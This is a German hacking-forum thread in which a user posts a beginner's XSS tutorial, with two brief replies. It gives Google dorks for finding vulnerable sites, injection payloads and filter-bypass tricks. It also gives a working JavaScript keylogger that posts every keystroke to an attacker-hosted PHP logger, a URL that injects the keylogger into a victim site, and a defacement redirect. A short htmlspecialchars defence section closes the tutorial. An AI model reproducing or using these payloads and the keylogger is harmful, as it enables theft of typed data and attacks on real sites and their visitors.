Zum Inhalt wechseln

Willkommen Gast

Navigation

Links

   

Foto

[TuT] XSS Tutorial + Bilder

- - - - -

  • Bitte melde dich an um zu Antworten
2 Antworten in diesem Thema

#1
Iron

Iron

    Lehrling

  • Premium Member
  • Likes
    45
  • 94 Beiträge
  • 86 Bedankt
  • Android
  • Windows, Linux

XSS Tutorial by Iron


Bemerkung: Ich weiß die Formatierung sieht bisschen bedürftig aus, aber ich hab es einfach so von UC wie ich es erstellt habe übernommen und hier eingefügt, deswegen ist die Formatierung hier bisschen schlechter.

Dies hier ist mein Tutorial, indem ich euch zeigen möchte was XSS ist und wie diese Lücke funktioniert. Dieses Tutorial ist für komplette Anfänger geschrieben, deshalb nicht großes erwarten mich würde trotzdem freuen, wenn Fortgeschrittene in dem Thema dieses Tutorial lesen und Feedback und Kritik abgeben.


Was ist XSS?


XSS ist eine Abkürzung und steht für "Cross Site Scripting". Mit XSS Lücken könnt ihr HTML/Javascript in den Seiten-Quellcode injezieren dies kann durch den GET, aber auch durch den POST Parameter geschehen. Mit paar Tricks kann man auch PHP usw. injezieren ich beziehe mich in dem Tutorial nur auf HTML/Javascript. Diese Lücken entstehen übrigens, wenn der Programmierer die Variablen beim Übergeben nicht ausreichen gefiltert hat ich werde euch am Ende des Tutorials zeigen wie man diese Lücken schliesst.


Was ist HTML und Javascript?


Please Login or Register to see this Hidden Content


Please Login or Register to see this Hidden Content


Tutorials:

Please Login or Register to see this Hidden Content


Please Login or Register to see this Hidden Content


Typen von XSS Angriffen


Es gibt zwei Typen von XSS Angriffen die wären
[1] Reflected XSS
Diese Lücken sind XSS Lücken die nicht dauerhaft auf einer Seite gespeichert sind. Das heißt, wenn ihr z. B durch die Suchfunktion die Lücke gefunden habt, dann müsst ihr diese Lücke um z. B das Admin Cookie zu klauen den Admin diesen Link schicken der diesen Link wiederrum anklicken muss.
[2] Stored XSS
Disee Lücken sind XSS Lücken die dauerhaft auf einer Seite gespeichert sind. Das bedeutet, wenn ihr z. B in dem Gästebuch eine XSS findet führt jeder das böse Skript der XSS Lücke aus. Wenn ihr z. B das Admin Cookie klauen wollt und der Admin auf dem Gästebuch vorbei kommt könnt ihr das Cookie via XSS klauen mehr dazu weiter im Text.


Wie finde ich solche Lücken?



Es gibt hier wieder, auch 2 Arten, indem du solche Lücken finden kannst. Als erstes solltest du dich auf die Seite Google begeben und einer der folgenden Dorks suchen.

inurl:search.php?
inurl:find.php?
inurl:index.php?search=
inurl:index.php?find=
inurl:comment.php?text=

Es gibt natürlich noch sehr viele andere Dorks, aber ich möchte hier nicht weiter drauf eingehen.

Jetzt habt ihr 2 Möglichkeiten
1. Ihr sucht die Lücken manuell
2. Ihr sucht die Lücken mit Vuln-Scanner

Vuln-Scanner die ich kenne

Acunetix
Nessus


Da ich es interessanter finde die Lücken selber zu suchen werde ich hier auf Vuln-Scanner nicht weiter eingehen :D. Diese Scanner ersparen euch, aber meist enorm viel Zeit da sie automatisch jede Datei der Seite scannen, aber bevor ihr solche Tools zu benutzten lernt sollte ihr das ganze finde ich, auch manuell lernen.


Exploiten



GET Method - XSS
Wie ich vorher erwähnt habe können XSS Lücken durch den Parameter GET und POST Parameter entstehen. GET bedeutet einfach das die Variable die übergeben wird über die URL (Uniform-Resource-Locater) übergeben wird.
POST Method - XSS
Bei dem Parameter POST werden die Variablen über den Inhalt der Seite z. B eine Suchfunktion, Gästebuch usw. übergeben.

Wir versuchen nun über einer der beiden Methoden jetzt unseren eigenen Code zu injezieren.

Ich werde das ganze an dem Hackit von gehaxelt vorführen
Level1: Eingefügtes Bild



Dieses Hackit gibt uns den Tipps wir müssen die Lücke in der URL ausnutzen bzw. wird die Variable über den Parameter GET übergeben.

URL(Momentan):


[center]http://hackit.gehaxelt.in/xss/level1.php[/center]


Fügen wir noch den Parameter "name" hinzu:

[center]http://hackit.gehaxelt.in/xss/level1.php?name=[/center]


Wenn wir hinter den Parameter "name" jetzt einen Namen hinzufügen bsp. Iron und das ganze absenden erhalten wir die Ausgabe "Hallo Iron". Wenn der Programmierer das ganze jetzt nicht ausreichen gefiltert hat können wir hier jetzt HTML Tags mit Javascript-Code einfügen



[center]http://hackit.gehaxelt.in/xss/level1.php?name=<script>alert("XSS")</script>


Nun sollte folgendes erscheinen.

Eingefügtes Bild



So sieht eine einfache XSS in der Praxis aus jetzt gibt es, aber Leute die versuchen sich besser zu schützten. Diese Filter kann man gewöhnlich, auch umgehen es kommt immer darauf an wie gut der Filter ist was dieser Filter alles für Zeichen filtert usw.

Bisschen Theorie

Nun jetzt schaut euch mal den Source-Code an.
Bei mir:

Eingefügtes Bild


Wie ihr sehen könnt sieht man die Ausgabe "Hallo" geben wir jetzt unseren Code ein wird dieser mit in den Tag '<span>// unser code </span>' eingebunden.

Eingefügtes Bild


Bei den meisten Seiten sind verschiedene Filter mit dabei und man kann die Seite nicht wie oben exploiten. Manchmal werden die Werte in einem Attribut des HTML-Tags gespeichert wie dies funktioniert können wir uns an dem Hackit von Padrino anschauen auf Level2!

Hackit:

Please Login or Register to see this Hidden Content



Bei diesem Hackit wird die Variable über die Methode POST übergeben, also diesmal ist es ein Suchfeld ;) Geben wir nun "Iron" ein sieht der Quellcode wie folgt aus.

Eingefügtes Bild


Geben wir nun jetzt irgendein Skript ein würde das ganze nur als Value des Attributs von dem HTML Tag erkannt werden. Hierzu schliessen wir das Attribut dies sollte wie folgt aussehen.


[center]Iron"><script>alert("XSS")</script>[/center]


Ihr seht die Value ist Iron das Attribut wird abgeschlossen und der HTML Tag geschlossen nun sollte der Javascript-Code ausgeführt werden. Source Code jetzt nach XSS Lücke.


Eingefügtes Bild


Ihr könnt, also sehen es können nicht nur Attribute von HTML-Tags geschlossen werden, sondern auch HTML-Tags selber.

Filter bypassen

ASCII bypassing
HEX bypassing
Event-Handler
Case-Sensitive

[ASCII bypassing]

Wenn z. B jede Anführungszeichen davor einen Backslash("") bekommen, dann wird versucht Anführungszeichen zu filtern dies hindert uns, aber jedoch nicht weiter zu machen.

Wir benutzen einfach eine Funktion die uns Javascript bereitstellt nämlich "String.fromCharCode()" Diese Funktion erlaubt es uns unseren String in ASCII Zahlen zu schreiben.
Beispiel:

[center]<script>alert(String.fromCharCode(88, 83, 83))</script>[/center]

Dies gibt die Meldung "XSS" aus ich empfehle euch eine ASCII Tabelle und, oder HackBar(AddOn Firefox) Zum Schluss gebe ich euch die Links.

[HEX bypassing]

Hier werden wir unseren Javascript-Code in Hex encoden hier empfehle ich wieder HackBar Code sollte dann wie folgt aussehen

Decoded:
<script>alert("XSS")</script>
Encoded:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3C%2F%73%63%72%69%70%74%3E

Nun sollte bei einigen das ganze bypassed sein.

[Event-Handler]

Bei Event-Handler ist der Vorteil das wir keine Zeichen wie "<" ">" "/" brauchen um Javascript-Code zu injezieren. Es gibt verschiedene Events
Liste:

onload()
ondrag()
onclick()
onerror()
onfinish()
onfocus()
onkeydown()
onkeypress()
onkeyup()
onmouseover()
onmove()

Wir können nun die Events injezieren, indem wir unseren Code so um ändern

onmouseover="alert(String.fromCharCode(88, 83, 83))"


Wir müssen jetzt nur noch über das Objekt mit der Maus rüber gehen und schon wird der Code ausgeführt. Es eine Liste mit weiteren Event-Handlern ist unten in den weiterführenden Links

[Case-Sensitive bypassing]

Diesen filter zu bypassen ist ganz einfach manche Programmierer suchen nach bestimmten Wörter z. B "script", wenn diese dann injeziert werden, werden sie ersetzt. Da manche Programmierer dies nicht richtig filtern kann man versuchen "script" auch so zu schreiben z. B "sCrIpT" usw. einfach die Groß-kleinschreibung bisschen abändern.


Fortgeschrittene Themen


Keylogger per XSS

Ich hafte für nichts und distanziere mich von jeglichen Schaden der durch dieses Tutorial entsteht ;)

Ich möchte euch in diesem kleinen Tutorial zeigen wie man einen Benutzer per XSS keyloggen kann. Falls ihr euch noch nicht richtig mit XSS beschäftigt habt empfehle ich euch erst andere Tutorials zu lesen.

Vorbereitungen

Wir brauchen einen Web-Hoster diesen Hoster brauchen wir um 2 Skripte hochzuladen ein PHP & Javascript und einen FTP-Client. Das Javascript Skript zum keyloggen und das PHP Skript zum speichern des Logs. Gibt allen Files die permission 777 für die Schreibrechte.

Javascript-Skript

document.onkeypress = function(evt) {
evt = evt || window.event;
key = String.fromCharCode(evt.charCode);
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST", "WEBHOSTER+PHPSKRIPT");
http.setRequestHeader("Content-type", application/x-www-form-urlencoded");
http.send("key="+param);
}
}
In Zeile 7 muss die URL angegeben werden wo ihr euer PHP-Skript hochgeladen habt.

PHP-Skript
<?php
$key = $_POST["key"];
$logfile = "log.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>

Fast fertig

Jetzt modifiziert ihr eure URL

www.beispielSeiteMitXSSLücke.de/index.php?search=<script src="URL_DER_Javascript_DATEI"></script>

Die Logs sind nur auf dem Formular mit der XSS-Lücke. Alle Tastenanschläge werden in der "logs.txt" auf dem Web-Hoster gespeichert.

MFG Iron

---------------------------------------------------------------------------------------------
Quellen: http://www.toolbase....__hl__keylogger
Javascript-Keylogger


Defacing per XSS
Um ein Deface durch XSS durchzuführen müsst ihr eine Stored XSS finden und dann von der Seite auf euer Deface umleiten.

<script>window.location="http://www.euerDeface.com/deface"</script>


XSS Schutz
In diesem Teil möchte ich euch erklären wie man sich gegen XSS wehren kann. Wie ich oben schon gesagt habe entstehen solche Lücken, wenn man die Variablen die übergeben werden sei es GET, oder POST nicht richtig filtert. Es gibt eine kleine Funktion in PHP[Ab Version 4] die es ermöglich diese Lücke zu schliessen diese nennt sich "htmlspecialchars()" Diese Funktion filtert alle Eingabe wie ", /, &, <, >, ; usw. das heißt es gibt keine Möglichkeit mehr XSS auszuführen. Wie das ganze in PHP aussehen sollte


$vorname = $_GET['name'];
// hier wird gefiltert
$vorname = htmlspecialchars($vorname);
echo "Hallo " . $vorname;


Wer mehr über die Funktion erfahren möchte:

Please Login or Register to see this Hidden Content


---------------------------------------------------------------------
Weiterführende Links:
ASCII-Tabelle:

Please Login or Register to see this Hidden Content


HackBar:

Please Login or Register to see this Hidden Content


XSS Filter:

Please Login or Register to see this Hidden Content


  • PaulaAbdul, Ch!ller, Cube und 5 anderen gefällt das
Eingefügtes Bild
Graphics by Flex.Net

Thanked by 7 Members:
man , tr0p1c , msgme139 , massa , PaulaAbdul , eXalT , Smn

#2
B1nary

B1nary

    Samurai

  • Elite Member
  • Likes
    457
  • 491 Beiträge
  • 324 Bedankt
Kleine Ergänzung: manchmal liest man auch non-persistent XSS (reflected XSS) oder persistent XSS (stored XSS)
Ich werde dieses Tutorial mal demnächst um Cookie-Hijacking ergänzen :)

#3
Iron

Iron

    Lehrling

  • Premium Member
  • Likes
    45
  • 94 Beiträge
  • 86 Bedankt
  • Android
  • Windows, Linux
Danke für dein Feedback. :D

Bearbeitet von Iron, 25 Mai 2014 - 15:13 Uhr.

Eingefügtes Bild
Graphics by Flex.Net



  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen: 0

Mitglieder: 0, Gäste: 0, unsichtbare Mitglieder: 0


Dieses Thema wurde von 245 Mitglied(ern) gelesen


    , , , _)_, 007, 123kimiya123, 1x1, 2sim, 3eyes, 3xc3ll3nt, 3xploit, aaerix, abramas, Albus, alio202, Alpha63, Amphe1337, and6578, Anon308, anonboz, antrokisov, ardamax, argentlo, B1nary, Babo187, BayernFox, BeautifulHolocost, bebekid32, belvin, berlingo21, BioLord2013, Black2111, BlackZetsu, blizzard1904, Bojka, bossaura, Botmopp, Bragi, briAck, brow19, Bus1ness Junkie, Butt3rs, byte, caildis, Caruso, Ch!ller, ChaosZombie, chimchoca7, Cocarando, codec4, compeng99, corkscrew, Cranko, Cranky, creamfresh, Cube, cumeh, CyberFlash, cyberrainalpha, d33d5, D3V1L, Da'Wav.s, Daisy, Danieloo7, darkman, deluxe222, Deny-dz, dervonheute, dev-0, dischien, dorich75, Dr. p0rk, Dude1308, dun, DupyLone, dynaoh, Erikson, Esox, eXalT, F-C, Faiden, FalkE, fcrasher, fl4shx, Flyder, Framerater, FullMetall, funstyler, ghostcat74, GoWest, grey, gutzuu, hacked, hakkepeter, harlek1n, HarryPotter, headshotde, heimberl, Heinokel0903, HellYeah, heroin3, hikhack7, igfreak, igorborisvas, ikar, Interimere, Internets, INTERSPACECOWBOY, Iron, isi, ItsDezzen, J0cker, jack4flash, Jackson, Janjij, jeff, jnxz, JohnR, johny758, Jozu, k0val, Kaase, Kaban, kaiLost, kakao1, Kamanji, kingkev0, Koiner65, Kozuki, kpakpando, Kutusow, LastKingz, Lilwayne11833, lNobodyl, lolorollo, lowbob, Lucifer8x, Lykaner112, M3TA, Macy1967, man, massa, Matze1169, max, Maximalx3, maximaxi, mcfly69, me6, Midas, milton3453, mindblow, mogel, most_uniQue, mr.blue, mr3ee, Muffinz, mxtrn, N0Name, n4pst3r, Neonxen, NewHacker, nibble nibble, nwo, omeralex, Omnipräsent, otz, PaulaAbdul, paulaner, peppi200, Petrisun, phoenixx592, Platin, pornoralle, provost, prto, psy86, psycho21, Psykoon303, raakil, rastalani, redcore, ref0rm, Rennsteak, Rico, rookyy66, rosbrun, rsneumann, S1lent, sam2370, saske46, schildkrieg4, shok0, Shqipenet, sitb, slivanX, sm1lie, smc2014, Smn, Smokyjoe, SOCOM, Sputnick, st0rm, Stalin, Stech3r, stoneserv, StopNewWorldOrder, summerdee, summo, superuser123, syntx, T00LStar, th30n3, thatsthrats, TheGentleman, Theo46, Thesolution247, thunfisch, tinarchin, ToWFiNiT, tr0p1c, Traxx, triptrap, trueseller, trz, tschilben, UDXR, ukiya006, ValleX, veelporri, vikalthebauer, vini, w0tan, wayneuser, whitehawk, x.jh7b, Xantar, xDevil, Xelvenzu, Xenio, xxxsmackxxx, XYtarget, zepsus, Zero-X, ZeroFreez, zocko
illustrieren mit Bildern versehen ausschmücken auflockern veranschaulichen Bilder beigeben Ende Lebensende Ableben Hingang Heimgang Sterben Absterben Hinscheiden Verscheiden Erlösung Abberufung Todesschlaf der ewige Schlaf Erblassen Entschlafen Abschied Abguss Abbildung Veröffentlichung Druck Auflage Publikation Edition Ausgabe Fußstapfen Spur Fußspur Fährte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.